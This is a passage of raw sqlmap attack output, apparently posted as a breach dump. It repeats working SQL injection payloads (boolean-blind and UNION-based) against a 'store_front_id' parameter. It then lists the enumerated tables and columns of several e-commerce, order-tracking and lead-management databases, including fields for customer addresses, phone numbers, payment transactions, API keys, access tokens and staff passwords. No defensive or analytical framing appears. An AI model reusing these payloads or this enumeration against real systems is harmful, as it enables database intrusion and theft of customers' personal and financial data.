  1008. | shipping_address | varchar(2000) |
  1009. | shipping_city | varchar(100) |
  1010. | shipping_email | varchar(250) |
  1011. | shipping_name | varchar(250) |
  1012. | shipping_phone | varchar(20) |
  1013. | shipping_pincode | varchar(11) |
  1014. | shipping_state | varchar(100) |
  1015. | source_agent_id | varchar(32) |
  1016. | source_id | int(10) |
  1017. | source_name | varchar(255) |
  1018. | source_type | varchar(64) |
  1019. | source_url | text |
  1020. | status | enum('pending','completed') |
  1021. | total_paid_amount | float(10,2) |
  1022. | transaction_id | varchar(50) |
  1023. | transaction_time | datetime |
  1024. +-----------------------+----------------------------------------------------------------------------------------------+
  1025.  
  1026. Database: amborders
  1027. Table: amb_order_logs
  1028. [4 columns]
  1029. +--------------+-------------+
  1030. | Column | Type |
  1031. +--------------+-------------+
  1032. | action | varchar(64) |
  1033. | date_created | timestamp |
  1034. | id | int(11) |
  1035. | trns_data | text |
  1036. +--------------+-------------+
  1037.  
  1038. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1039. ---
  1040. Parameter: store_front_id (GET)
  1041. Type: boolean-based blind
  1042. Title: AND boolean-based blind - WHERE or HAVING clause
  1043. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1044.  
  1045. Type: UNION query
  1046. Title: MySQL UNION query (NULL) - 8 columns
  1047. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1048. ---
  1049. back-end DBMS: MySQL 5
  1050. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1051. ---
  1052. Parameter: store_front_id (GET)
  1053. Type: boolean-based blind
  1054. Title: AND boolean-based blind - WHERE or HAVING clause
  1055. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1056.  
  1057. Type: UNION query
  1058. Title: MySQL UNION query (NULL) - 8 columns
  1059. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1060. ---
  1061. back-end DBMS: MySQL 5
  1062. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1063. ---
  1064. Parameter: store_front_id (GET)
  1065. Type: boolean-based blind
  1066. Title: AND boolean-based blind - WHERE or HAVING clause
  1067. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1068.  
  1069. Type: UNION query
  1070. Title: MySQL UNION query (NULL) - 8 columns
  1071. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1072. ---
  1073. back-end DBMS: MySQL 5
  1074. Database: mpdm2
  1075. Table: subscribed_product
  1076. [18 columns]
  1077. +-----------------------------+------------------------+
  1078. | Column | Type |
  1079. +-----------------------------+------------------------+
  1080. | base_product_id | int(10) unsigned |
  1081. | checkout_url | varchar(2083) |
  1082. | created_date | timestamp |
  1083. | getit_subscribed_product_id | int(10) unsigned |
  1084. | height | decimal(10,4) unsigned |
  1085. | is_deleted | smallint(6) |
  1086. | length | decimal(10,4) unsigned |
  1087. | modified_date | timestamp |
  1088. | prompt | smallint(6) |
  1089. | prompt_key | varchar(100) |
  1090. | status | tinyint(1) |
  1091. | store_id | int(10) unsigned |
  1092. | store_offer_price | decimal(12,4) |
  1093. | store_price | decimal(12,4) |
  1094. | subscribed_product_id | int(10) unsigned |
  1095. | warranty | varchar(100) |
  1096. | weight | decimal(10,4) unsigned |
  1097. | width | decimal(10,4) unsigned |
  1098. +-----------------------------+------------------------+
  1099.  
  1100. Database: mpdm2
  1101. Table: storefront_fbpage_mapping
  1102. [2 columns]
  1103. +----------------+-------------+
  1104. | Column | Type |
  1105. +----------------+-------------+
  1106. | page_id | varchar(40) |
  1107. | store_front_id | int(11) |
  1108. +----------------+-------------+
  1109.  
  1110. Database: mpdm2
  1111. Table: coupon
  1112. [11 columns]
  1113. +------------------------+-------------------+
  1114. | Column | Type |
  1115. +------------------------+-------------------+
  1116. | condition | enum('any','all') |
  1117. | coupon_code | varchar(15) |
  1118. | coupon_id | int(11) |
  1119. | coupon_prefix | varchar(5) |
  1120. | coupon_text | varchar(512) |
  1121. | discount_rule_id | int(11) |
  1122. | end_date | datetime |
  1123. | is_active | tinyint(1) |
  1124. | is_multiple_redemption | tinyint(1) |
  1125. | max_redemption | int(11) |
  1126. | start_date | datetime |
  1127. +------------------------+-------------------+
  1128.  
  1129. Database: mpdm2
  1130. Table: attribute
  1131. [7 columns]
  1132. +----------------+------------------+
  1133. | Column | Type |
  1134. +----------------+------------------+
  1135. | attribute_id | int(10) unsigned |
  1136. | attribute_name | varchar(100) |
  1137. | attribute_type | varchar(45) |
  1138. | created_date | timestamp |
  1139. | is_deleted | smallint(6) |
  1140. | is_searchable | smallint(6) |
  1141. | modified_date | timestamp |
  1142. +----------------+------------------+
  1143.  
  1144. Database: mpdm2
  1145. Table: solr_back_log
  1146. [2 columns]
  1147. +-----------------------+------------------+
  1148. | Column | Type |
  1149. +-----------------------+------------------+
  1150. | is_deleted | smallint(6) |
  1151. | subscribed_product_id | int(10) unsigned |
  1152. +-----------------------+------------------+
  1153.  
  1154. Database: mpdm2
  1155. Table: coupon_validity_rel
  1156. [2 columns]
  1157. +--------------------+---------+
  1158. | Column | Type |
  1159. +--------------------+---------+
  1160. | coupon_id | int(11) |
  1161. | coupon_validity_id | int(11) |
  1162. +--------------------+---------+
  1163.  
  1164. Database: mpdm2
  1165. Table: order_product
  1166. [11 columns]
  1167. +-----------------------+----------------------+
  1168. | Column | Type |
  1169. +-----------------------+----------------------+
  1170. | discount | float |
  1171. | discount_qty | int(11) |
  1172. | discount_type | enum('price','item') |
  1173. | discounted_price | float |
  1174. | id | int(11) |
  1175. | order_id | int(11) |
  1176. | price | float |
  1177. | product_name | varchar(256) |
  1178. | qty | int(11) |
  1179. | subscribed_product_id | int(11) |
  1180. | total_price | float |
  1181. +-----------------------+----------------------+
  1182.  
  1183. Database: mpdm2
  1184. Table: api_session
  1185. [3 columns]
  1186. +----------------+------------------+
  1187. | Column | Type |
  1188. +----------------+------------------+
  1189. | logdate | timestamp |
  1190. | session_id | varchar(45) |
  1191. | store_front_id | int(10) unsigned |
  1192. +----------------+------------------+
  1193.  
  1194. Database: mpdm2
  1195. Table: category
  1196. [10 columns]
  1197. +--------------------+------------------+
  1198. | Column | Type |
  1199. +--------------------+------------------+
  1200. | level | int(11) |
  1201. | path | varchar(255) |
  1202. | category_id | int(10) unsigned |
  1203. | category_name | varchar(255) |
  1204. | created_date | timestamp |
  1205. | getit_category_id | int(10) unsigned |
  1206. | is_deleted | smallint(6) |
  1207. | is_mega_category | smallint(6) |
  1208. | modified_date | timestamp |
  1209. | parent_category_id | int(10) unsigned |
  1210. +--------------------+------------------+
  1211.  
  1212. Database: mpdm2
  1213. Table: attribute_option
  1214. [3 columns]
  1215. +---------------------+------------------+
  1216. | Column | Type |
  1217. +---------------------+------------------+
  1218. | attribute_id | int(10) unsigned |
  1219. | attribute_option_id | int(10) unsigned |
  1220. | option_value | varchar(255) |
  1221. +---------------------+------------------+
  1222.  
  1223. Database: mpdm2
  1224. Table: media
  1225. [6 columns]
  1226. +-----------------+------------------+
  1227. | Column | Type |
  1228. +-----------------+------------------+
  1229. | base_product_id | int(10) unsigned |
  1230. | is_default | smallint(6) |
  1231. | media_id | int(10) unsigned |
  1232. | media_type | varchar(45) |
  1233. | media_url | varchar(255) |
  1234. | thumb_url | varchar(255) |
  1235. +-----------------+------------------+
  1236.  
  1237. Database: mpdm2
  1238. Table: coupon_validity_rule
  1239. [3 columns]
  1240. +-----------+------------+
  1241. | Column | Type |
  1242. +-----------+------------+
  1243. | condition | text |
  1244. | is_active | tinyint(1) |
  1245. | rule_id | int(11) |
  1246. +-----------+------------+
  1247.  
  1248. Database: mpdm2
  1249. Table: final_table
  1250. [24 columns]
  1251. +-----------------------+---------------+
  1252. | Column | Type |
  1253. +-----------------------+---------------+
  1254. | timestamp | timestamp |
  1255. | category | varchar(255) |
  1256. | checkout_price | decimal(12,4) |
  1257. | coupon | varchar(50) |
  1258. | coupon_text | varchar(512) |
  1259. | discount | int(4) |
  1260. | id | int(10) |
  1261. | orderid | varchar(50) |
  1262. | payment_method | varchar(15) |
  1263. | price | decimal(12,4) |
  1264. | product_title | varchar(255) |
  1265. | qty | int(11) |
  1266. | store | varchar(255) |
  1267. | storefront | varchar(255) |
  1268. | sub_total | float |
  1269. | subscribed_product_id | int(10) |
  1270. | total_discount | float |
  1271. | total_paid_amount | float |
  1272. | total_payable_amount | float |
  1273. | user_address | varchar(255) |
  1274. | user_email | varchar(255) |
  1275. | user_name | varchar(255) |
  1276. | user_phone | int(12) |
  1277. | user_pincode | int(12) |
  1278. +-----------------------+---------------+
  1279.  
  1280. Database: mpdm2
  1281. Table: product_attribute_mapping
  1282. [3 columns]
  1283. +-----------------+------------------+
  1284. | Column | Type |
  1285. +-----------------+------------------+
  1286. | value | varchar(255) |
  1287. | attribute_id | int(10) unsigned |
  1288. | base_product_id | int(10) unsigned |
  1289. +-----------------+------------------+
  1290.  
  1291. Database: mpdm2
  1292. Table: store
  1293. [23 columns]
  1294. +-------------------+------------------+
  1295. | Column | Type |
  1296. +-------------------+------------------+
  1297. | business_address | varchar(500) |
  1298. | chat_id | varchar(45) |
  1299. | created_date | timestamp |
  1300. | customer_value | decimal(12,4) |
  1301. | email | varchar(255) |
  1302. | getit_store_id | int(10) unsigned |
  1303. | is_deleted | smallint(6) |
  1304. | is_tagline | tinyint(1) |
  1305. | meta_description | varchar(150) |
  1306. | meta_keywords | varchar(255) |
  1307. | meta_title | varchar(150) |
  1308. | mobile_numbers | varchar(100) |
  1309. | modified_date | timestamp |
  1310. | seller_name | varchar(255) |
  1311. | status | tinyint(1) |
  1312. | store_code | varchar(255) |
  1313. | store_details | text |
  1314. | store_id | int(10) unsigned |
  1315. | store_logo | varchar(255) |
  1316. | store_name | varchar(255) |
  1317. | tagline | varchar(256) |
  1318. | telephone_numbers | varchar(100) |
  1319. | visible | smallint(6) |
  1320. +-------------------+------------------+
  1321.  
  1322. Database: mpdm2
  1323. Table: sync_log
  1324. [2 columns]
  1325. +----------------+-------------+
  1326. | Column | Type |
  1327. +----------------+-------------+
  1328. | last_sync_date | timestamp |
  1329. | type | varchar(50) |
  1330. +----------------+-------------+
  1331.  
  1332. Database: mpdm2
  1333. Table: product_category_mapping
  1334. [2 columns]
  1335. +-----------------+------------------+
  1336. | Column | Type |
  1337. +-----------------+------------------+
  1338. | base_product_id | int(10) unsigned |
  1339. | category_id | int(10) unsigned |
  1340. +-----------------+------------------+
  1341.  
  1342. Database: mpdm2
  1343. Table: discount_rule
  1344. [5 columns]
  1345. +------------------+---------------------------------+
  1346. | Column | Type |
  1347. +------------------+---------------------------------+
  1348. | cap | int(11) |
  1349. | discount | int(11) |
  1350. | discount_rule_id | int(11) |
  1351. | rule_details | text |
  1352. | type | enum('fix','percentage','item') |
  1353. +------------------+---------------------------------+
  1354.  
  1355. Database: mpdm2
  1356. Table: store_front
  1357. [11 columns]
  1358. +--------------------------+------------------+
  1359. | Column | Type |
  1360. +--------------------------+------------------+
  1361. | created_date | timestamp |
  1362. | is_deleted | smallint(6) |
  1363. | is_tagline | tinyint(1) |
  1364. | modified_date | timestamp |
  1365. | parent_id | int(11) |
  1366. | store_front_api_key | varchar(100) |
  1367. | store_front_api_password | varchar(100) |
  1368. | store_front_api_token | varchar(100) |
  1369. | store_front_id | int(10) unsigned |
  1370. | store_front_name | varchar(255) |
  1371. | tagline | varchar(255) |
  1372. +--------------------------+------------------+
  1373.  
  1374. Database: mpdm2
  1375. Table: order
  1376. [34 columns]
  1377. +----------------------+-----------------------------------------------+
  1378. | Column | Type |
  1379. +----------------------+-----------------------------------------------+
  1380. | bank_transaction_id | varchar(50) |
  1381. | bankname | varchar(50) |
  1382. | billing_address | text |
  1383. | billing_city_id | int(11) |
  1384. | billing_name | varchar(256) |
  1385. | billing_pincode | int(11) |
  1386. | billing_state_id | int(11) |
  1387. | coupon_code | varchar(20) |
  1388. | coupon_text | varchar(512) |
  1389. | created_at | timestamp |
  1390. | gateway_name | varchar(50) |
  1391. | is_processed | tinyint(1) |
  1392. | order_id | int(11) |
  1393. | order_num | varchar(15) |
  1394. | order_prefix | varchar(5) |
  1395. | payment_method | enum('cod','paytm','','') |
  1396. | payment_mod | varchar(50) |
  1397. | payment_status | enum('pending','paided','cod','partial_paid') |
  1398. | shipping_address | text |
  1399. | shipping_city_id | int(11) |
  1400. | shipping_name | varchar(256) |
  1401. | shipping_phone | int(11) |
  1402. | shipping_pincode | int(11) |
  1403. | shipping_state_id | int(11) |
  1404. | status | enum('pending','completed') |
  1405. | sub_total | float |
  1406. | total_discount | float |
  1407. | total_paid_amount | float |
  1408. | total_payable_amount | float |
  1409. | transaction_id | varchar(50) |
  1410. | transaction_time | datetime |
  1411. | user_email | varchar(256) |
  1412. | user_name | varchar(256) |
  1413. | user_phone | int(11) |
  1414. +----------------------+-----------------------------------------------+
  1415.  
  1416. Database: mpdm2
  1417. Table: product_frontend_mapping
  1418. [2 columns]
  1419. +-----------------------+------------------+
  1420. | Column | Type |
  1421. +-----------------------+------------------+
  1422. | store_front_id | int(10) unsigned |
  1423. | subscribed_product_id | int(10) unsigned |
  1424. +-----------------------+------------------+
  1425.  
  1426. Database: mpdm2
  1427. Table: gcm_data
  1428. [4 columns]
  1429. +--------------+--------------+
  1430. | Column | Type |
  1431. +--------------+--------------+
  1432. | android_id | varchar(100) |
  1433. | gcm_id | varchar(512) |
  1434. | id | int(11) |
  1435. | package_name | varchar(30) |
  1436. +--------------+--------------+
  1437.  
  1438. Database: mpdm2
  1439. Table: base_product
  1440. [27 columns]
  1441. +-----------------------+------------------------+
  1442. | Column | Type |
  1443. +-----------------------+------------------------+
  1444. | size | varchar(255) |
  1445. | average_rating | int(11) |
  1446. | base_product_id | int(10) unsigned |
  1447. | brand | varchar(255) |
  1448. | color | varchar(255) |
  1449. | configurable_with | text |
  1450. | created_date | timestamp |
  1451. | description | text |
  1452. | getit_base_product_id | int(10) unsigned |
  1453. | is_configurable | smallint(6) |
  1454. | is_deleted | smallint(6) |
  1455. | key_features | text |
  1456. | manufacture | varchar(255) |
  1457. | manufacture_country | varchar(100) |
  1458. | manufacture_year | int(11) |
  1459. | meta_description | varchar(150) |
  1460. | meta_keyword | varchar(255) |
  1461. | meta_title | varchar(150) |
  1462. | model_name | varchar(255) |
  1463. | model_number | varchar(255) |
  1464. | modified_date | timestamp |
  1465. | other_website_rating | int(11) |
  1466. | product_weight | decimal(12,4) unsigned |
  1467. | small_description | text |
  1468. | specifications | text |
  1469. | status | tinyint(1) |
  1470. | title | varchar(255) |
  1471. +-----------------------+------------------------+
  1472.  
  1473. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1474. ---
  1475. Parameter: store_front_id (GET)
  1476. Type: boolean-based blind
  1477. Title: AND boolean-based blind - WHERE or HAVING clause
  1478. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1479.  
  1480. Type: UNION query
  1481. Title: MySQL UNION query (NULL) - 8 columns
  1482. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1483. ---
  1484. back-end DBMS: MySQL 5
  1485. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1486. ---
  1487. Parameter: store_front_id (GET)
  1488. Type: boolean-based blind
  1489. Title: AND boolean-based blind - WHERE or HAVING clause
  1490. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1491.  
  1492. Type: UNION query
  1493. Title: MySQL UNION query (NULL) - 8 columns
  1494. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1495. ---
  1496. back-end DBMS: MySQL 5
  1497. Database: amb_tracker
  1498. Table: category
  1499. [6 columns]
  1500. +--------------+--------------+
  1501. | Column | Type |
  1502. +--------------+--------------+
  1503. | cat_name | varchar(128) |
  1504. | cat_weight | tinyint(4) |
  1505. | date_added | datetime |
  1506. | date_updated | timestamp |
  1507. | id | smallint(6) |
  1508. | is_active | tinyint(4) |
  1509. +--------------+--------------+
  1510.  
  1511. Database: amb_tracker
  1512. Table: logs
  1513. [4 columns]
  1514. +------------+-----------+
  1515. | Column | Type |
  1516. +------------+-----------+
  1517. | date_added | timestamp |
  1518. | id | int(11) |
  1519. | params | text |
  1520. | raw | text |
  1521. +------------+-----------+
  1522.  
  1523. Database: amb_tracker
  1524. Table: region
  1525. [5 columns]
  1526. +--------------+--------------+
  1527. | Column | Type |
  1528. +--------------+--------------+
  1529. | date_added | datetime |
  1530. | date_updated | timestamp |
  1531. | id | smallint(11) |
  1532. | is_active | tinyint(4) |
  1533. | region_name | varchar(128) |
  1534. +--------------+--------------+
  1535.  
  1536. Database: amb_tracker
  1537. Table: region_banner
  1538. [8 columns]
  1539. +---------------+--------------+
  1540. | Column | Type |
  1541. +---------------+--------------+
  1542. | banner_id | smallint(6) |
  1543. | date_added | datetime |
  1544. | date_modified | timestamp |
  1545. | id | int(11) |
  1546. | region_id | smallint(6) |
  1547. | status | tinyint(4) |
  1548. | url | varchar(512) |
  1549. | weight | tinyint(4) |
  1550. +---------------+--------------+
  1551.  
  1552. Database: amb_tracker
  1553. Table: site
  1554. [10 columns]
  1555. +-----------------+--------------+
  1556. | Column | Type |
  1557. +-----------------+--------------+
  1558. | date_added | datetime |
  1559. | date_updated | timestamp |
  1560. | id | smallint(6) |
  1561. | is_active | tinyint(4) |
  1562. | site_code | varchar(10) |
  1563. | site_logo | varchar(128) |
  1564. | site_name | varchar(128) |
  1565. | site_url | varchar(255) |
  1566. | site_weight | tinyint(4) |
  1567. | tracking_values | varchar(255) |
  1568. +-----------------+--------------+
  1569.  
  1570. Database: amb_tracker
  1571. Table: region_category_website
  1572. [5 columns]
  1573. +-----------------+--------------+
  1574. | Column | Type |
  1575. +-----------------+--------------+
  1576. | category_id | smallint(6) |
  1577. | region_id | smallint(6) |
  1578. | tracking_values | varchar(255) |
  1579. | website_id | smallint(6) |
  1580. | website_url | text |
  1581. +-----------------+--------------+
  1582.  
  1583. Database: amb_tracker
  1584. Table: tracking_request
  1585. [6 columns]
  1586. +------------------+-------------+
  1587. | Column | Type |
  1588. +------------------+-------------+
  1589. | banner | char(2) |
  1590. | banner_id | int(11) |
  1591. | track_code | varchar(25) |
  1592. | track_date | datetime |
  1593. | track_request_id | int(11) |
  1594. | track_site_id | varchar(25) |
  1595. +------------------+-------------+
  1596.  
  1597. Database: amb_tracker
  1598. Table: tracking_code
  1599. [2 columns]
  1600. +------------------+-------------+
  1601. | Column | Type |
  1602. +------------------+-------------+
  1603. | track_code_id | int(11) |
  1604. | track_code_value | varchar(20) |
  1605. +------------------+-------------+
  1606.  
  1607. Database: amb_tracker
  1608. Table: transaction
  1609. [7 columns]
  1610. +------------------+--------------+
  1611. | Column | Type |
  1612. +------------------+--------------+
  1613. | id | int(11) |
  1614. | order_amount | double |
  1615. | order_date | datetime |
  1616. | order_id | varchar(100) |
  1617. | product | text |
  1618. | site_id | int(11) |
  1619. | track_code_value | varchar(100) |
  1620. +------------------+--------------+
  1621.  
  1622. Database: amb_tracker
  1623. Table: banner
  1624. [10 columns]
  1625. +---------------+--------------+
  1626. | Column | Type |
  1627. +---------------+--------------+
  1628. | date_added | datetime |
  1629. | date_modified | timestamp |
  1630. | id | int(11) |
  1631. | image | varchar(255) |
  1632. | site_id | smallint(6) |
  1633. | status | tinyint(6) |
  1634. | type | char(2) |
  1635. | universal | tinyint(6) |
  1636. | url | varchar(512) |
  1637. | weight | tinyint(6) |
  1638. +---------------+--------------+
  1639.  
  1640. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1641. ---
  1642. Parameter: store_front_id (GET)
  1643. Type: boolean-based blind
  1644. Title: AND boolean-based blind - WHERE or HAVING clause
  1645. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1646.  
  1647. Type: UNION query
  1648. Title: MySQL UNION query (NULL) - 8 columns
  1649. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1650. ---
  1651. back-end DBMS: MySQL 5
  1652. Database: lms
  1653. Table: leads
  1654. [18 columns]
  1655. +-------------------------+---------------------------------------------------------------------------------------------------+
  1656. | Column | Type |
  1657. +-------------------------+---------------------------------------------------------------------------------------------------+
  1658. | date | datetime |
  1659. | assigned_agent_id | int(11) |
  1660. | campaign_id | int(11) |
  1661. | category | varchar(255) |
  1662. | city | varchar(255) |
  1663. | edited | int(1) |
  1664. | email | varchar(255) |
  1665. | id | int(11) |
  1666. | last_disposition_status | enum('Unassigned','Assigned','Updated','Cancelled','Pending','New Requirement','Order Confirmed') |
  1667. | lmp_status | int(1) |
  1668. | name | varchar(1024) |
  1669. | order_id | int(11) |
  1670. | phone | varchar(255) |
  1671. | query | varchar(512) |
  1672. | source | varchar(1024) |
  1673. | state | varchar(255) |
  1674. | temperature | int(2) |
  1675. | updated_at | timestamp |
  1676. +-------------------------+---------------------------------------------------------------------------------------------------+
  1677.  
  1678. Database: lms
  1679. Table: lead_notes
  1680. [6 columns]
  1681. +--------------------+---------------------------------------------------------------------------------------------------+
  1682. | Column | Type |
  1683. +--------------------+---------------------------------------------------------------------------------------------------+
  1684. | created_date | int(225) |
  1685. | disposition_status | enum('Unassigned','Assigned','Updated','Cancelled','Pending','New Requirement','Order Confirmed') |
  1686. | id | int(11) |
  1687. | lead_id | int(11) |
  1688. | notes | varchar(1024) |
  1689. | uid | int(11) |
  1690. +--------------------+---------------------------------------------------------------------------------------------------+
  1691.  
  1692. Database: lms
  1693. Table: lead_products
  1694. [2 columns]
  1695. +------------+---------+
  1696. | Column | Type |
  1697. +------------+---------+
  1698. | lead_id | int(11) |
  1699. | product_id | int(11) |
  1700. +------------+---------+
  1701.  
  1702. Database: lms
  1703. Table: user_roles
  1704. [2 columns]
  1705. +-----------+--------------+
  1706. | Column | Type |
  1707. +-----------+--------------+
  1708. | role_id | int(11) |
  1709. | user_role | varchar(255) |
  1710. +-----------+--------------+
  1711.  
  1712. Database: lms
  1713. Table: users
  1714. [13 columns]
  1715. +--------------------+---------------+
  1716. | Column | Type |
  1717. +--------------------+---------------+
  1718. | active | tinyint(1) |
  1719. | created_date | int(255) |
  1720. | first_name | varchar(1024) |
  1721. | last_assignment_at | timestamp |
  1722. | last_name | varchar(1024) |
  1723. | password | varchar(1024) |
  1724. | phone_number | varchar(20) |
  1725. | role | varchar(255) |
  1726. | uid | int(11) |
  1727. | unavailable_from | date |
  1728. | unavailable_to | date |
  1729. | updated_at | int(255) |
  1730. | user_email | varchar(700) |
  1731. +--------------------+---------------+
  1732.  
  1733. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1734. ---
  1735. Parameter: store_front_id (GET)
  1736. Type: boolean-based blind
  1737. Title: AND boolean-based blind - WHERE or HAVING clause
  1738. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1739.  
  1740. Type: UNION query
  1741. Title: MySQL UNION query (NULL) - 8 columns
  1742. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1743. ---
  1744. back-end DBMS: MySQL 5
  1745. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1746. ---
  1747. Parameter: store_front_id (GET)
  1748. Type: boolean-based blind
  1749. Title: AND boolean-based blind - WHERE or HAVING clause
  1750. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1751.  
  1752. Type: UNION query
  1753. Title: MySQL UNION query (NULL) - 8 columns
  1754. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1755. ---
  1756. back-end DBMS: MySQL 5
  1757. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  1758. ---
  1759. Parameter: store_front_id (GET)
  1760. Type: boolean-based blind
  1761. Title: AND boolean-based blind - WHERE or HAVING clause
  1762. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  1763.  
  1764. Type: UNION query
  1765. Title: MySQL UNION query (NULL) - 8 columns
  1766. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  1767. ---
  1768. back-end DBMS: MySQL 5
  1769. Database: mpdm_1404
  1770. Table: subscribed_product
  1771. [18 columns]
  1772. +-----------------------------+------------------------+
  1773. | Column | Type |
  1774. +-----------------------------+------------------------+
  1775. | base_product_id | int(10) unsigned |
  1776. | checkout_url | varchar(2083) |
  1777. | created_date | timestamp |
  1778. | getit_subscribed_product_id | int(10) unsigned |
  1779. | height | decimal(10,4) unsigned |
  1780. | is_deleted | smallint(6) |
  1781. | length | decimal(10,4) unsigned |
  1782. | modified_date | timestamp |
  1783. | prompt | smallint(6) |
  1784. | prompt_key | varchar(100) |
  1785. | status | tinyint(1) |
  1786. | store_id | int(10) unsigned |
  1787. | store_offer_price | decimal(12,4) |
  1788. | store_price | decimal(12,4) |
  1789. | subscribed_product_id | int(10) unsigned |
  1790. | warranty | varchar(100) |
  1791. | weight | decimal(10,4) unsigned |
  1792. | width | decimal(10,4) unsigned |
  1793. +-----------------------------+------------------------+
  1794.  
  1795. Database: mpdm_1404
  1796. Table: storefront_fbpage_mapping
  1797. [7 columns]
  1798. +----------------+--------------+
  1799. | Column | Type |
  1800. +----------------+--------------+
  1801. | access_token | text |
  1802. | created_on | datetime |
  1803. | ip_address | varchar(255) |
  1804. | modify_on | datetime |
  1805. | page_id | varchar(40) |
  1806. | page_name | varchar(255) |
  1807. | store_front_id | int(11) |
  1808. +----------------+--------------+
  1809.  
  1810. Database: mpdm_1404
  1811. Table: coupon
  1812. [12 columns]
  1813. +------------------------+-------------------+
  1814. | Column | Type |
  1815. +------------------------+-------------------+
  1816. | condition | enum('any','all') |
  1817. | coupon_code | varchar(20) |
  1818. | coupon_id | int(11) |
  1819. | coupon_prefix | varchar(8) |
  1820. | coupon_text | varchar(256) |
  1821. | coupons_left | int(11) |
  1822. | discount_rule_id | int(11) |
  1823. | end_date | datetime |
  1824. | is_active | tinyint(1) |
  1825. | is_multiple_redemption | tinyint(1) |
  1826. | max_redemption | int(11) |
  1827. | start_date | datetime |
  1828. +------------------------+-------------------+
  1829.  
  1830. Database: mpdm_1404
  1831. Table: attribute
  1832. [8 columns]
  1833. +----------------+------------------+
  1834. | Column | Type |
  1835. +----------------+------------------+
  1836. | attribute_code | varchar(45) |
  1837. | attribute_id | int(10) unsigned |
  1838. | attribute_name | varchar(100) |
  1839. | attribute_type | varchar(45) |
  1840. | created_date | timestamp |
  1841. | is_deleted | smallint(6) |
  1842. | is_searchable | smallint(6) |
  1843. | modified_date | timestamp |
  1844. +----------------+------------------+
  1845.  
  1846. Database: mpdm_1404
  1847. Table: solr_back_log
  1848. [2 columns]
  1849. +-----------------------+------------------+
  1850. | Column | Type |
  1851. +-----------------------+------------------+
  1852. | is_deleted | smallint(6) |
  1853. | subscribed_product_id | int(10) unsigned |
  1854. +-----------------------+------------------+
  1855.  
  1856. Database: mpdm_1404
  1857. Table: coupon_validity_rel
  1858. [2 columns]
  1859. +--------------------+---------+
  1860. | Column | Type |
  1861. +--------------------+---------+
  1862. | coupon_id | int(11) |
  1863. | coupon_validity_id | int(11) |
  1864. +--------------------+---------+
  1865.  
  1866. Database: mpdm_1404
  1867. Table: city_mapping
  1868. [2 columns]
  1869. +------------+-------------+
  1870. | Column | Type |
  1871. +------------+-------------+
  1872. | autoId | int(11) |
  1873. | city_label | varchar(80) |
  1874. +------------+-------------+
  1875.  
  1876. Database: mpdm_1404
  1877. Table: vendor_vouchers
  1878. [10 columns]
  1879. +-----------------+-------------+
  1880. | Column | Type |
  1881. +-----------------+-------------+
  1882. | timestamp | timestamp |
  1883. | autoId | int(11) |
  1884. | buyer_circle | varchar(20) |
  1885. | correlationID | int(11) |
  1886. | coupon_code | varchar(20) |
  1887. | mobile | varchar(11) |
  1888. | pincode | varchar(8) |
  1889. | quantity_bought | int(11) |
  1890. | refId | int(11) |
  1891. | store_front_id | int(11) |
  1892. +-----------------+-------------+
  1893.  
  1894. Database: mpdm_1404
  1895. Table: store_fbpage_mapping
  1896. [7 columns]
  1897. +--------------+--------------+
  1898. | Column | Type |
  1899. +--------------+--------------+
  1900. | access_token | text |
  1901. | created_on | datetime |
  1902. | ip_address | varchar(255) |
  1903. | modify_on | datetime |
  1904. | page_id | varchar(40) |
  1905. | page_name | varchar(255) |
  1906. | store_id | int(11) |
  1907. +--------------+--------------+
  1908.  
  1909. Database: mpdm_1404
  1910. Table: greatbuyz_transactions
  1911. [7 columns]
  1912. +-----------------+-------------+
  1913. | Column | Type |
  1914. +-----------------+-------------+
  1915. | timestamp | timestamp |
  1916. | autoId | int(11) |
  1917. | correlationID | int(11) |
  1918. | coupon_code | varchar(20) |
  1919. | mobile | varchar(11) |
  1920. | quantity_bought | int(11) |
  1921. | refId | int(11) |
  1922. +-----------------+-------------+
  1923.  
  1924. Database: mpdm_1404
  1925. Table: discount_rule
  1926. [5 columns]
  1927. +------------------+---------------------------------+
  1928. | Column | Type |
  1929. +------------------+---------------------------------+
